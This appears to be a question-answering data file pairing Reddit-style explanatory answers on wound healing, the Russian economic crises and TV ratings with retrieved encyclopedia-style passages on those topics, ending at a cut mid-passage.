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[ "Because the mending only goes as far as repairing the skin, because the body wants to reseal itself and ensure that the biggest organ in the body, the flesh, is whole and combatting external threats. Re growing skin is relatively easy for the body as it is just layers of basic cells, unlike a finger which is made up of cardiovascular ways, bone, flesh, and tendons which are hard to repair.", "Cells are not regenerated through in the healing process. New cells of a different kind are created. There are multiple ways wounds can heal. If it is a superficial laceration you will usually have[ fibrous tissue](_URL_1_) seal the wound, but you will have[ granulation](_URL_0_) in a successful healing for something like a diabetic ulcer which goes much deeper. Neither of these healing processes will perfectly restore tissues to a pre-wound formation.\n\nEdit: a word" ]

[ "Acute injury to the medial meniscus frequently accompanies an injury to the ACL (anterior cruciate ligament) or MCL (medial collateral ligament). A person occasionally injures the medial meniscus without harming the ligaments. Healing of the medial meniscus is generally not possible unless the patient is very young, usually <15 years old. Damage to the outer third of the meniscus has the best healing potential because of the blood supply, but the inner two thirds of the medial meniscus has a limited blood supply and thus limited healing ability. Large tears to the meniscus may require surgical repair or removal. In", "periwound skin. They can create a gateway for infection as well as cause wound edge deterioration preventing wound closure. Pathophysiology Chronic wounds may affect only the epidermis and dermis, or they may affect tissues all the way to the fascia. They may be formed originally by the same things that cause acute ones, such as surgery or accidental trauma, or they may form as the result of systemic infection, vascular, immune, or nerve insufficiency, or comorbidities such as neoplasias or metabolic disorders. The reason a wound becomes chronic is that the body's ability to deal with the damage", "due to the reduction in blood flow to the limbs, resulting in a decrease in heat distribution to these areas. Ulcers and wounds would also take a much longer time to heal because of the impairment in blood clot formation process. Muscle weakness and cramping may occur as well, especially in the legs, because of the insufficient oxygen supply to muscle cells for metabolism. Diagnosis Doctors may look for signs of narrowed, enlarged or hardened arteries by performing a physical examination. If blood vessel disorder is present, there will be a weak or even absent pulse under the narrowed area", "appears undifferentiated, but cells that originated in the skin later develop into new skin, muscle cells into new muscle and cartilage cells into new cartilage. It is only the cells from just beneath the surface of the skin that are pluripotent and able to develop into any type of cell. Researchers from the Australian Regenerative Medicine Institute have found that when macrophages were removed, salamanders lost their ability to regenerate and instead formed scar tissue. If the processes involved in forming new tissue can be reverse engineered into humans, it may be possible to heal injuries of the spinal cord", "the most difficult chronic wounds, allografts may not work, requiring skin grafts from elsewhere on the patient, which can cause pain and further stress on the patient's system.\nCollagen dressings are another way to provide the matrix for cellular proliferation and migration, while also keeping the wound moist and absorbing exudate. Additionally Collagen has been shown to be chemotactic to human blood monocytes, which can enter the wound site and transform into beneficial wound-healing cells.\nSince levels of protease inhibitors are lowered in chronic wounds, some researchers are seeking ways to heal tissues by replacing these inhibitors in them. Secretory", "connective tissue) back to their undifferentiated cell lineage also known as mesenchymal cells. It is this area that is known as the blastema which has the potential to differentiate and proliferate once again allowing regrowth of the limb similar to how it occurs during development. In wound-healing in urodeles it is the quick response of anti-inflammatory macrophages which have been shown to be key to their regeneration capabilities. In one study, it was found that limbs would not regenerate in those urodeles with depleted macrophages and instead would scar with permanent loss of functionality. Knowing how regeneration occurs in animals", "when one is wounded, thrombin cleaves the fibrinogen, which forms clots. As a result, the wound is ‘closed’ by these clots and recovery of the epithelial cells of the skin can take place. This is the natural process necessary for tissue repair. The venom batroxobin also induces clots, but does this with or without tissue damage. This is because batroxobin isn’t inhibited by specific cofactors like thrombin is. These clots can block a vein and hinder blood flow. The differences between thrombin and batroxobin in binding fibrinogen Fibrinogen is a dimeric glycoprotein, which contains two pairs of Aα-, Bβ- peptide", "2008, in full thickness wounds over 3mm, it was found that a wound needed a material inserted in order to induce full tissue regeneration.\nThere are some human organs and tissues that regenerate rather than simply scar, as a result of injury. These include the liver, fingertips, and endometrium. More information is now known regarding the passive replacement of tissues in the human body, as well as the mechanics of stem cells. Advances in research have enabled the induced regeneration of many more tissues and organs than previously thought possible. The aim for these techniques is to use these techniques in", "of these proteins is not upregulated by as much as in younger cells.\nComorbid factors that can lead to ischemia are especially likely to contribute to chronic wounds. Such factors include chronic fibrosis, edema, sickle cell disease, and peripheral artery disease such as by atherosclerosis.\nRepeated physical trauma plays a role in chronic wound formation by continually initiating the inflammatory cascade. The trauma may occur by accident, for example when a leg is repeatedly bumped against a wheelchair rest, or it may be due to intentional acts. Heroin users who lose venous access may resort to 'skin popping', or", "cruciate ligament may heal over time, but a torn ACL requires surgery. After surgery, recovery is prolonged and low impact exercises are recommended to strengthen the joint. Torn meniscus injury The menisci act as shock absorbers and separate the two ends of bone in the knee joint. There are two menisci in the knee, the medial (inner) and the lateral (outer). When there is torn cartilage, it means that the meniscus has been injured. Meniscus tears occur during sports often when the knee is twisted. Menisci injury may be innocuous and one may be able to walk after a tear,", "skin and soft-tissue infections, particularly when skin or mucosal barriers have been breached.\nS. aureus infections can spread through contact with pus from an infected wound, skin-to-skin contact with an infected person, and contact with objects used by an infected person such as towels, sheets, clothing, or athletic equipment. Joint replacements put a person at particular risk of septic arthritis, staphylococcal endocarditis (infection of the heart valves), and pneumonia.\nPreventive measures include washing hands often with soap and making sure to bathe or shower daily.\nS. aureus is a significant cause of chronic biofilm infections on medical implants, and the repressor of toxins", "victims of meningococcal meningitis will die; however, about as many survivors of the disease lose a limb or their hearing, or suffer permanent brain damage. The sepsis type of infection is much more deadly, and results in a severe blood poisoning called meningococcal sepsis that affects the entire body. In this case, bacterial toxins rupture blood vessels and can rapidly shut down vital organs. Within hours, patient's health can change from seemingly good to mortally ill.\nThe N. meningitidis bacterium is surrounded by a slimy outer coat that contains disease-causing endotoxin. While many bacteria produce endotoxin, the levels produced by meningococcal", "on the back of his body, and the wounds were unable to heal because his skin had deteriorated due to the malnutrition that occurred while he was lost. Despite antibiotics, the infections were worsening, and his skin was continuing to deteriorate. He needed surgery to treat the wounds, but there was not enough available skin to close the wounds after the surgery. The vet compared his skin condition to having severe burns over 50-60% of his body. The vet was very clear that she had conferred with every possible doctor regarding options for Jack, but none", "is the middle third of this line.\nNerves and muscles may be trapped by broken bones; in these cases the bones need to be put back into their proper places quickly. For example, fractures of the orbital floor or medial orbital wall of the eye can entrap the medial rectus or inferior rectus muscles. In facial wounds, tear ducts and nerves of the face may be damaged. Fractures of the frontal bone can interfere with the drainage of the frontal sinus and can cause sinusitis.\nInfection is another potential complication, for example when debris is ground into an abrasion", "any part of her body, whether it be from severed limbs, organs, or even her spilt blood. Radiation accelerates her healing/regeneration process. Her cells are also capable of transforming a victim into a Tomie via an organ transplant. Multiple characters are even driven to dismember her corpse, unwittingly allowing more Tomie copies to grow and spread throughout the world. Even locks of her hair are dangerous; burrowing into its victim's brain to possess them, and eventually kill them when it grows wildly within the body. It is also shown that even if Tomie's body is not injured, her body will", "Hypertrophic scar Cause Mechanical tension on a wound has been identified as a leading cause for hypertrophic scar formation.\nWhen a normal wound heals, the body produces new collagen fibres at a rate which balances the breakdown of old collagen. Hypertrophic scars are red and thick and may be itchy or painful. They do not extend beyond the boundary of the original wound, but may continue to thicken for up to six months. They usually improve over one or two years, but may cause distress due to their appearance or the intensity of the itching; they can also", "trauma. Severe contusions may involve deeper structures and can include nerve or vascular injury. Abrasions are superficial injuries to the skin no deeper than the epidermis tissue layer, and bleeding, if present, is minimal. Minor abrasions generally do not scar, but deeper abrasions generally bleed and may scar. Lastly, sports-related lacerations are caused by blunt trauma and result in burst-type open wounds, often with jagged irregular edges. Facial lacerations are the most variable of the soft tissue injuries that athletes can sustain. They can occur intraorally and extraorally, vary from a superficial skin nick to a through and through lip", "skin injuries are common: the absence of grown hair makes nicks, scratches and bruises heal faster because of the reduced microbial population on shaved skin.", "is a dark pink. It is possible for the affected area to spread or turn into an open sore. When this happens the patient is at greater risk of developing ulcers. If an injury to the skin occurs on the affected area, it may not heal properly or it will leave a dark scar. Pathophysiology Although the exact cause of this condition is not known, it is an inflammatory disorder characterised by collagen degeneration, combined with a granulomatous response. It always involves the dermis diffusely, and sometimes also involves the deeper fat layer. Commonly, dermal blood vessels are thickened (microangiopathy).\nIt", "Long thoracic nerve Damage Due to its long, relatively superficial course, it is susceptible to injury either through direct trauma or stretch. Injury has been reported in almost all sports, typically occurring from a blow to the ribs underneath an outstretched arm. The long thoracic nerve can also be damaged during surgery for breast cancer, specifically radical mastectomies that involve removal of axillary lymph nodes.\nInjuries to the nerve can result from carrying heavy bags over the shoulder for a prolonged time. There are also reports of isolated damage to this nerve as a variant of Parsonage Turner Syndrome, an", "from cautery or traction can lead to chronic pain, however this can be difficult to determine. Chronic compression of the nerve root by a persistent agent such as disc, bone (osteophyte) or scarring can also permanently damage the nerve root. Epidural scarring caused by the initial pathology or occurring after the surgery can also contribute to nerve damage. In one study of failed back patients, the presence of pathology was noted to be at the same site as the level of surgery performed in 57% of cases. The remaining cases developed pathology at a different level,", "extremities The most common nerve injuries during surgery occur in the upper and lower extremities. Injuries to the nerves in the arm or shoulder can result in numbness, tingling, and decreased sensory or muscular use of the arm, wrist, or hand. Many operating room injuries could be solved by simply restraining the arms and legs. Other causes of nerve or muscular damage to the extremities is caused by pressure on the body by the surgical team leaning on the patient's arms and legs. The patient's arms can be protected from these risks by using an arm sled. Separation of the", "neuropathy and autoregulation of capillaries leads to poor perfusion of tissues, especially wound base. When pressure is placed on the skin, the skin is damaged and is unable to be repaired due to the lack of blood perfusing the tissue. The wound has a characteristic deep, punched out look, often extending down to the tendons. The wounds are very painful. Diagnosis The lesion can be easily identified clinically. Arterial doppler and pulse volume recordings are performed for baseline assessment of blood flow. Radiographs may be necessary to rule out osteomyelitis. Management The prevalence of arterial insufficiency ulcers among people", "of developing wear and tear arthritis (post-traumatic or osteoarthritis). The arthritis is a result of the increased contact forces and shear that results from loss of shock absorption and stability after meniscectomy. For this reason, current surgical strategies are focused on preserving as much of the meniscus as possible or replacing it if necessary.\nCertain meniscal tears are repairable with sutures, predominantly those that are freshly torn and involve healthy tissue. The closer tear is to the peripheral blood supply the higher the likelihood of successful repair. Patients with unrepairable meniscal injuries usually have symptoms of pain, catching, swelling", "injecting the drug subcutaneously, which is highly damaging to tissue and frequently leads to chronic ulcers. Children who are repeatedly seen for a wound that does not heal are sometimes found to be victims of a parent with Munchausen syndrome by proxy, a disease in which the abuser may repeatedly inflict harm on the child in order to receive attention.\nPeriwound skin damage caused by excessive amounts of exudate and other bodily fluids can perpetuate the non-healing status of chronic wounds. Maceration, excoriation, dry (fragile) skin, hyperkeratosis, callus and eczema are frequent problems that interfere with the integrity of", "the wound.\nEarly work on wound healing showed that granulation tissue taken from a wound could contract in vitro (or in an organ bath) in a similar fashion to smooth muscle, when exposed to substances that cause smooth muscle to contract, such as adrenaline or angiotensin.\nMore recently it has been shown that fibroblasts can transform into myofibroblasts with photobiomodulation.\nAfter healing is complete, these cells are lost through apoptosis and it has been suggested that in several fibrotic diseases (for example liver cirrhosis, kidney fibrosis, retroperitoneal fibrosis) that this mechanism fails to work, leading to persistence of the myofibroblasts, and consequently expansion", "common. Scarring resulting in interference with erectile function is less likely but more damaging. Issues with physical sensation.\nConcealed penis where a normal penis is buried in suprapubic fat. In most cases, when the fat is depressed with the fingers, the penis is seen to be of normal size. This is common in overweight boys before the penile growth of puberty. Surgical techniques have been devised to improve it. Potential surgical problems: The most common difficulty is recurrence with further weight gain. Scarring can occur. Feminizing surgical procedures In the last 50 years, the following procedures were most commonly performed to", "restrict movement if they are located close to a joint.\nSome people have an inherited tendency to this type of scarring, for example, those with Ehlers–Danlos syndrome. It is not possible to completely prevent hypertrophic scars, so those with a history of them should inform their doctor or surgeon if they need surgery. Scar therapies may speed up the process of change from a hypertrophic scar to a flatter, paler one.", "ripped open the flesh from the hip joint to the knee and partially removed it. One could not see if the bone had been shattered. The leg was only hanging on small flaps of skin. We bound off the leg. We could only wrap a towel around the big wound because we had not enough dressing material for such injuries. It was immediately clear that such an injury could not be treated even by a doctor under the circumstances aboard a U-boat. We were many days from the next neutral harbor, so I took the decision to make it as", "disease, but can be due to acute limb ischemia. As a result, people with arteriosclerosis, high cholesterol, diabetes and smokers commonly have dry gangrene. The limited oxygen in the ischemic limb limits putrefaction and bacteria fail to survive. The affected part is dry, shrunken, and dark reddish-black. The line of separation usually brings about complete separation, with eventual falling off of the gangrenous tissue if it is not removed surgically, a process called autoamputation.\nDry gangrene is the end result of chronic ischemia without infection. If ischemia is detected early, when ischemic wounds rather than gangrene are present, the process can" ]

[ "Money... or more precisely, lack of it. It is estimated that Russian investors (let alone foreign investors) have moved billions of dollars out of Russia as a result of the political turmoil created by the Ukraine situation. If you take huge amount of capital out of an economy, the effects will be felt throughout: banks might become insolvent, people and businesses won't be able to take loans, other businesses won't be able to sell their products, etc. It's a chain reaction that ends up affecting the entire economy.\n\nThe last couple of weeks have been particularly hard on Russia also because of the oil price being very low lately. One of Russia's main revenue sources is energy exports. Well, if you cannot make profits on energy sales, that's not good... I believe that's one reason the Russian ruble took such a beating the other day...\n\nEdit: Just found this:\n_URL_0_", "Russia relies a great deal on imports to \"make ends meet.\" To pay for those imports, they have to export stuff, either IOUs, or real goods. The problem Russia is facing is that the real goods they can export (mostly oil) are losing real value as global growth in the demand for oil and oil products has slackened considerably as increases in efficiency and alternative sources come online. And because of that and for other reasons as well, people are less sure that the IOUs Russia is trying to sell so they can buy the stuff they want will be worth much in the future. They're having a harder time buying the stuff they want or need, so in the future, they'll have even less stuff to sell and their IOUs will be worth even less, leading to a downward spiral.\n\nIt's not money that's the problem, it's that there's a mismatch in the real and expected values of the things Russia's selling to the things Russia wants to needs to buy. It's a problem that manifests as a monetary one, because Russian money is simply Russian IOUs, but the real problem is that nobody wants what Russia's selling anymore." ]

[ "Russia would raise GDP and living standards by allocating resources more efficiently. They also thought the collapse would create new production possibilities by eliminating central planning, substituting a decentralized market system, eliminating huge macroeconomic and structural distortions through liberalization, and providing incentives through privatization.\nSince the USSR's collapse, Russia faced many problems that free market proponents in 1992 did not expect. Among other things, 25% of the population lived below the poverty line, life expectancy had fallen, birthrates were low, and the GDP was halved. There was a sharp increase in economic inequality between 1988/1989 and 1993/1995, with the Gini ratio", "the devaluation, which caused a steep increase in the prices of imported goods. Also, since Russia's economy was operating to such a large extent on barter and other non-monetary instruments of exchange, the financial collapse had far less of an impact on many producers than it would had the economy been dependent on a banking system. Finally, the economy has been helped by an infusion of cash; as enterprises were able to pay off arrears in back wages and taxes, it, in turn, allowed consumer demand for the goods and services of Russian industry to rise. For the first time", "the initial turmoil and euphoria of early marketizations, Russia's economy sank into deep depression by the mid-1990s due to botched reform efforts and low commodity prices globally. Russia's economy was hit further by the financial crash of 1998 before experiencing a modest recovery in 1999–2000 as commodity prices began to rise again. According to Russian government statistics, the economic decline was far more severe than the Great Depression was in the United States in terms of Gross Domestic Product. By way of a domestic comparison, the post-Soviet economic decline was about half as severe as the economic catastrophe borne out", "and other non-monetary instruments of exchange, the financial collapse had far less of an impact on many producers than it would had the economy been dependent on a banking system. Finally, the economy had been helped by an infusion of cash. As enterprises were able to pay off debts in back wages and taxes, in turn consumer demand for goods and services produced by Russian industry began to rise. Positive effect The crisis was praised by James Cook, the senior vice president of The U.S. Russia Investment Fund, on the basis that it taught Russian bankers to diversify their assets.", "furtherance of Russia's demise; the agricultural productivity declined, the price for grain dropped, the need for imports and indebtedness grew (90). Russia was further dissolved by the war and military measures cost the state as well as created famines in 1891. The Russian economy was tied to Europe's finances, the western market contracted Russian's industry, and grown rapidly in the 1890s, but the crisis created a long recession. Despite the declining economy, Russia still functioned as a competing Great Power in the European arena (94). Yet, the state still couldn't move forward because of the collapse", "March 2010, the World Bank report noted that Russia's economic losses were lower than expected at the beginning of the crisis. According to the World Bank, some of this is due to large-scale anti-crisis measures that the government has taken.\nIn the first quarter of 2010, GDP growth rate (2.9%) and the growth of industrial production (5.8%), Russia took the 2nd place among the \"Big Eight\", second only to Japan.\nAs of 2010, nominal GDP grew by 4.0%, in 2011 by 4,3% and in 2012 by 3.4%. In 2012 more than the 12.5% of the population was below Russian line of poverty.", "Great Recession in Russia Background Russia is a major exporter of commodities such as oil and metals, so its economy had been hit hard by the decline in the price of many commodities. The Russian stock market declined significantly. Foreign investors had pulled billions of dollars out of Russia on concerns over escalating geopolitical tensions with the West following the military conflict between Georgia and Russia, as well as concerns about state interference in the economy. Those concerns were underscored in July by Prime Minister Vladimir Putin's criticism of steel company Mechel collapsing the company's stock. By September", "upon a group of advisers (most of whom had close links with the oligarchs). Financial collapse The global recession of 1998, which started with the Asian financial crisis in July 1997, exacerbated Russia's continuing economic crisis. Given the ensuing decline in world commodity prices, countries heavily dependent on the export of raw materials such as oil were among those most severely hit. Oil, natural gas, metals, and timber account for more than 80% of Russian exports, leaving the country vulnerable to swings in world prices. Oil is also a major source of government tax revenue which brought significant negative implications", "economy suffered during the Great Recession. Following the Crimean Crisis, several countries (including most of NATO) imposed sanctions on Russia, hurting the Russian economy by cutting off access to capital. At the same time, the global price of oil declined. The combination of Western sanctions and the falling crude price in 2014 and thereafter resulted in the 2014–15 Russian financial crisis.", "many other countries, Russia's economy suffered during the Great Recession. Following the Crimean Crisis, several countries (including most of NATO) imposed sanctions on Russia, hurting the Russian economy by cutting off access to capital. At the same time, the global price of oil declined. The combination of Western sanctions and the falling crude price in 2014 and thereafter, which was widely seen in Russia as a US–Saudi plot against it, resulted in the ongoing 2014–15 Russian financial crisis. As a way to get around Western sanctions, Russia and China signed a 150 billion yuan central bank liquidity swap line agreement", "shut down many industries and brought about a protracted depression. The reforms devastated the living standards of much of the population, especially the groups dependent on Soviet-era state subsidies and welfare programs. Through the 1990s, Russia's GDP fell by 50%, vast sectors of the economy were wiped out, inequality and unemployment grew dramatically, whilst incomes fell. Hyperinflation, caused by the Central Bank of Russia's loose monetary policy, wiped out many people's personal savings, and tens of millions of Russians were plunged into poverty.\nSome economists argue that in the 1990s, Russia suffered an economic downturn more severe than the United", "The Russian economy has passed through a long and wrenching depression. Official Russian economic statistics indicate that from 1990 to the end of 1995, Russian GDP declined by roughly 50%, far greater than the decline that the United States experienced during the Great Depression. (However, alternative estimates by Western neoliberal pro-disregulation analysts described a much less severe decline, taking into account the upward bias of Soviet-era economic data and the downward bias of post-Soviet data. E.g. IMF estimates: ) Much of the decline in production has occurred in the military–industrial complex and other heavy industries that benefited most from the", "Europe. The following day, Friday, October 10, there were large losses in Asian and European markets Yamato Life filed for bankruptcy. Beset by falling commodities prices, Russia's stock markets remained closed on October 10. The Russian Parliament passed a plan authorizing lending of $36 billion gained from global oil sales to banks which met creditworthiness requirements. Special attention is being paid to shoring up Rosselkhozbank, the bank which provides credit to the reviving agricultural sector. The amount of funds available is limited due to falling oil prices. The government of the United States, as authorized by the Emergency Economic", "Cold War. Other nations of the former Soviet Union also experienced economic collapse, although a number of crises also involved armed conflicts, like in the break-away region Chechnya. The default by Russia on its government bonds in 1998 led to the collapse of highly leveraged hedge fund Long Term Capital Management, which threatened the world financial system. The U.S. Federal Reserve organized a bailout of LTCM which turned it over to a banking consortium. Argentine economic crisis (1999–2002) The depression, which began after the Russian and Brazilian financial crises, caused widespread unemployment, riots, the fall of the government,", "no long term damage was done thanks to proactive and timely response by the government and central bank, which shielded the banking system from effects of the global financial crisis. A sharp, but brief recession in Russia was followed by a strong recovery beginning in late 2009.\nAfter 16 years of negotiations, Russia's membership to the WTO was accepted in 2011. In 2013, Russia was labeled a high-income economy by the World Bank.\nRussian leaders repeatedly spoke of the need to diversify the economy away from its dependence on oil and gas and foster a high-technology sector. In 2012 oil, gas and", "Russia bounced back from the August 1998 financial crash with surprising speed. Much of the reason for the recovery was the devaluation of the ruble, which made domestic producers more competitive nationally and internationally.\nBetween 2000 and 2002, there was a significant amount of pro-growth economic reforms including a comprehensive tax reform, which introduced a flat income tax of 13%; and a broad effort at deregulation which improved the situation for small and medium-sized enterprises.\nBetween 2000 and 2008, Russian economy got a major boost from rising commodity prices. GDP grew on average 7% per year. Disposable incomes more than doubled", "or other assets have been affected by the Russian financial crisis. The PIMCO Emerging Markets Bond Fund also had 21% of its holdings in Russian corporate and sovereign debt as of the end of September 2014, which has declined about 7.9% from about 16 November 2014 to 16 December 2014.\nCompanies from North America and Europe that heavily relied on Russian economy have been affected by the crisis. American car company Ford Motor Company experienced a 40% decline in car sales in January–November 2014, according to Association of European Businesses, and terminated \"about 950 jobs at its Russia joint in April", "The average net income per capita was according to Rosstat 22691 rubles per month. Russian financial crisis (2014–2017) The 2014-2017 financial crisis in Russia is the result of the collapse of the Russian ruble beginning in the second half of 2014. A decline in confidence in the Russian economy caused investors to sell off their Russian assets, which led to a decline in the value of the Russian ruble and sparked fears of a Russian financial crisis. The lack of confidence in the Russian economy stemmed from at least two major sources. The first is the fall in the price", "year.\nThe pain of the restructuring has been assuaged somewhat by the emergence of a new private sector. Western experts believe that Russian data overstate the dimensions of Russia's economic collapse by failing to reflect a large portion of the country's private-sector activity. The Russian services sector, especially retail sales, is playing an increasingly vital role in the economy, accounting for nearly half of GDP in 1995. The services sector's activities have not been adequately measured. Data on sector performance are skewed by the underreporting or nonreporting of output that Russia's tax laws encourage. According to Western analysts, by the end", "financial crisis of 1998, Russia's GDP was half of what it had been in the early 1990s. Some populations are still poorer today than they were in 1989 (e.g. Ukraine, Moldova, Serbia, Central Asia, Caucasus). The collapse of the Soviet planned economy and the transition to market economy resulted in catastrophic declines in GDP of about 45% during the 1990–1996 period and poverty in the region had increased more than tenfold.\nFinnish economists refer to the Finnish economic decline around the breakup of the Soviet Union (1989–1994) as a great depression (suuri lama). However, the depression was multicausal, with its severity", "financial markets. U.S. financial markets declined, with the Dow Jones Industrial Average down nearly 3% in 3 business days, in part due to the Russian financial crisis. The crisis drew comparisons to the 1998 Russian financial crisis that affected global markets. Economist Olivier Blanchard of the IMF noted that the uncertainty caused by Russia's economic crisis could lead to greater worldwide risk aversion in a manner similar to the Financial crisis of 2007–08. However, the 2014 international sanctions on Russia decreased Russia's financial connections with the broader financial world, which in turn lowered the risk that an ailing Russian", "and the International Monetary Fund. All this resulted in a major economic crisis, characterized by a 50% decline in both GDP and industrial output between 1990 and 1995.\nThe privatization largely shifted control of enterprises from state agencies to individuals with inside connections in the government. Many of the newly rich moved billions in cash and assets outside of the country in an enormous capital flight. The depression of the economy led to the collapse of social services; the birth rate plummeted while the death rate skyrocketed. Millions plunged into poverty, from a level of 1.5% in the late Soviet era", "1998 Russian financial crisis Background and course of events Declining productivity, a high fixed exchange rate between the ruble and foreign currencies to avoid public turmoil, and a chronic fiscal deficit were the reasons that led to the crisis. The economic cost of the first war in Chechnya, estimated at $5.5 billion (not including the rebuilding of the ruined Chechen economy), also contributed to the crisis. In the first half of 1997, the Russian economy showed some signs of improvement. However, soon after this, the problems began to gradually intensify.\nTwo external shocks, the Asian financial crisis that had begun in 1997", "and murder. The Russian population peaked in the 1990s and is lower today than two decades ago, as the demographics of Russia show.\nA firsthand account of conditions during the economic collapse was told by Dmitry Orlov, a former USSR citizen who became a US citizen but returned to Russia for a time during the crisis. Russian financial crisis of 1998 After more or less stabilizing after the disintegration of the USSR, a severe financial crisis took place in the Russian Federation in August 1998. It was caused by low oil prices and government expenditure cuts after the end of the", "Russian economy risked going into recession from early 2014, mainly due to falling oil prices, sanctions, and the subsequent capital flight. While in 2014 GDP growth remained positive at 0.6%, in 2015 the Russian economy shrunk by 3.7% and was expected to shrink further in 2016. However, the World Bank and the IMF estimated that Russia's economy will begin to recover by 2017. By 2016, the Russian economy rebounded with 0.3% GDP growth and is officially out of the recession. The growth continued in 2017, with an increase of 1.5%.\nIn January 2016, the US company Bloomberg rated Russia's economy as", "economy of the countries involved. For example, Russia's involvement in World War I took such a toll on the Russian economy that it almost collapsed and greatly contributed to the start of the Russian Revolution of 1917. World War II World War II was the most financially costly conflict in history; its belligerents cumulatively spent about a trillion U.S. dollars on the war effort (as adjusted to 1940 prices).\nThe Great Depression of the 1930s ended as nations increased their production of war materials.\nBy the end of the war, 70% of European industrial infrastructure was destroyed. Property damage in the Soviet", "to resign. On 9 October 1998, Russia, which was also suffering from a poor harvest, appealed for international humanitarian aid, including food. Recovery Russia bounced back from the August 1998 financial crash with surprising speed. Much of the reason for the recovery is that world oil prices increased rapidly during 1999–2000 and Russia ran a large trade surplus in 1999 and 2000. Another reason is that domestic industries, such as food processing, had benefited from the devaluation, which caused a steep increase in the prices of imported goods.\nAlso, since Russia's economy was operating to such a large extent on barter", "time of its dissolution.\nThe Russian GDP contracted an estimated 40% between 1991 and 1998, despite the country's wealth of natural resources, its well-educated population, and its diverse - although increasingly dilapidated - industrial base. Such a figure may be misleading, however, since much of the Soviet Union's GDP was military spending and the production of goods for which there was little demand. The discontinuation of much of that wasteful spending created the false impression of larger than actual economic contraction.\nCritical elements such as privatization of state enterprises and extensive foreign investment were rushed into place in the first few", "producing an enormous capital flight.\nDifficulties in collecting government revenues amid the collapsing economy and a dependence on short-term borrowing to finance budget deficits led to the 1998 Russian financial crisis.\nIn the 1990s Russia was \"the largest borrower\" from the International Monetary Fund with loans totaling $20 billion. The IMF was the subject of criticism for lending so much as Russia introduced little of the reforms promised for the money and a large part of these funds could have been \"diverted from their intended purpose and included in the flows of capital that left the country illegally\". Recovery and growth (1999–2008)", "Gosplan Economic background The time of the October Revolution and the Russian Civil War which followed was a period of virtual economic collapse. Production and distribution of necessary commodities were severely tested as factories were shuttered and major cities such as Petrograd were depopulated, with urban residents returning to the countryside to claim a place in land redistribution and in order to avoid the unemployment, lack of food, and lack of fuel which had become endemic. By 1919 hyperinflation had emerged, further pushing the struggling economic system of Soviet Russia towards total collapse.\nAn ad hoc system remembered to history as" ]

[ "Through ratings! Nielson is a company that monitors TV shows by the amount of viewers the show has. This is done a number of ways. One, the Nielsen people send you $50 and a log book to track everything you watch for one whole week, you send it back they give you another $50. Secondly, Nielsen can send you a set top box to plug into your TV and monitor your watching habits immediately. Now let's break these down into demographics, while total viewers matter somewhat, what advertisers are looking for are capturing working people, so the 18-49 year olds are the most tracked and catered to of all viewers. Example, you've watched cable news before, compare the commercials to TBS or TNT, FOX, CNN, MSNBC track 35-69 year olds, which is why you see commercials for chair lifts, AARP, and other old fogie stuff. Interesting fact, there are about 400 million people in our country, only 100 million have TVs in their homes, Nielsen tracks about 50,000 households or .05 percent. That .05 percent basically determines what gets renewed and what gets cancelled. Hope I answered your question. Tracking TV numbers is a very intricate, complex science. God I love it!", "Data analyst from Nielsen here. We have more than 100 k panel households on which we do our analysis and we receive data of what they watch(TV), buy(From stores), listen to(Radio) and read(Magazines, news papers) on a daily basis. A combination of all this is used to determine the feasibility, ratings and so on. We can even forecast in advance the number of viewers for each show and give an in depth and detailed analysis." ]

[ "The change in time slot was because show producers thought that, by getting their daily dose of gossip at an earlier time, television viewers would be uninterested in watching their rival show.\nThe show has shed light on Hispanic show business scandals, and while many entertainers do not oppose the show (many have actually visited the set), others have objected to being interviewed on camera for Cotorreando.\nFriday September 28, Telemundo announced that it was cancelling Cotorreando and the final episode of Cotorreando aired that day. Telemundo executives decided to use the time slot for reruns of recent Novelas. The cancellation of", "cancellation were lower ratings than the previous season, decreased advertising revenue and the high cost of producing the show. Lower ratings may have resulted after reformatting of the show interrupted its flow due to an increased emphasis on 'Speed Digits'. The last show was screened in June 2009. David Tua incident One infamous episode which appears from time to time in blooper specials was boxer David Tua's game on October 10, 1992: at one point, he asked for P when buying a vowel; at another, he tried to buy a \"constonant\". He was also believed to have tried to call", "in a show once per appointment (\"Joker\").\nIn the first four episodes, the studio audience with voting devices determined the audience for the show shown, which was the TV viewer at home live as a graphic superimposed. This graphic has been removed with Issue 5 of December 2, 2017. Each of the 600 people in the studio could switch on or off during the show, as if sitting at home in front of the TV, using their voting device, which acts like a remote control. Over the entire running time of the show could be switched on or off as often", "local station's control, where syndicated content airs rather than true local programming. For equivalent electronic program guide listings for set-top boxes, the term is used mainly with PEG stations and networks which do not have a schedule compiled by a cable operator as a default placeholder; other instances are with only broadcast stations who outright refuse or do not release their program listings due to lack of staff, though as advertisers usually demand a minimum schedule to place their ads on a television station (and most of these stations are associated with smaller national digital subchannel networks which do provide", "show, three of the contestants had their numbers mixed up with the wrong numbers appearing on the screen, resulting in millions of votes being voided. Recordings of the performances were therefore reshown on the Wednesday show with new, live commentary from the three judges, and the audience revoted. The elimination night was moved to Thursday. Season five Chris Daughtry's vote-off In the week finalist Chris Daughtry was voted off, some voters claimed that phone calls dialed for Daughtry during the first few minutes of voting were misrouted to Katharine McPhee's lines, and they heard her recorded message thanking them", "ratings (a 1.6 for the second season) spurred Eyemark to cancel Day and Date effective January 3, 1997. Local newscasts themselves had also made the program superfluous with the growth of syndicated and wire service segments featuring the same type of content in the same timeslots Day and Date were in, with much less expense with local staff than that of a syndicated show.", "time shows get on WNLO-TV, Channel 4's sister station.\"\nBecause of this strong coattail effect, the network that airs the Super Bowl typically takes advantage of the large audience to air an episode of a hit series, or to premiere the pilot of a promising new one in the lead-out slot, which immediately follows the Super Bowl and post-game coverage. Entertainment Initially, it was sort of a novelty and so it didn't quite feel right. But it was just like, this is the year ... Bands of our generation, you can sort of be seen on a stage like this or, like,", "networks that broadcast them, such might have been the case with Guess What. The decision to cancel the series after a short run could have been made by a sponsor, and the decision to avoid saving kinescopes could have been, too. But the show's sponsor cannot be determined because not a single kinescope can be viewed, therefore nobody has been motivated to look for paper documents related to the series.", "network during this time – this practice was automatically used on WB affiliates' primetime programming.\nAlso on August 14, 2006, UPN discontinued all promotional advertising for its programs during network time periods (except for audition promotions for America's Next Top Model that aired during that program), though some local stations still aired promos for the network's shows. The network also stopped customizing the closing credits of its shows to the network's standardized graphics scheme (perhaps in reaction to affiliate preemptions, see below), instead showing the program's studio credits full-screen with theme music intact (save for ANTM, where previews for the next", "to enjoy the recorded programs was seen so negatively that in 2006 major networks acceded to advertisers to only use live ratings as currency when setting prices for TV advertising space. The primary justification for advertisers was the notion that recorded advertisements had no value due to advertising avoidance.\nAn important discussion often ignored was the fact that viewers have been avoiding TV 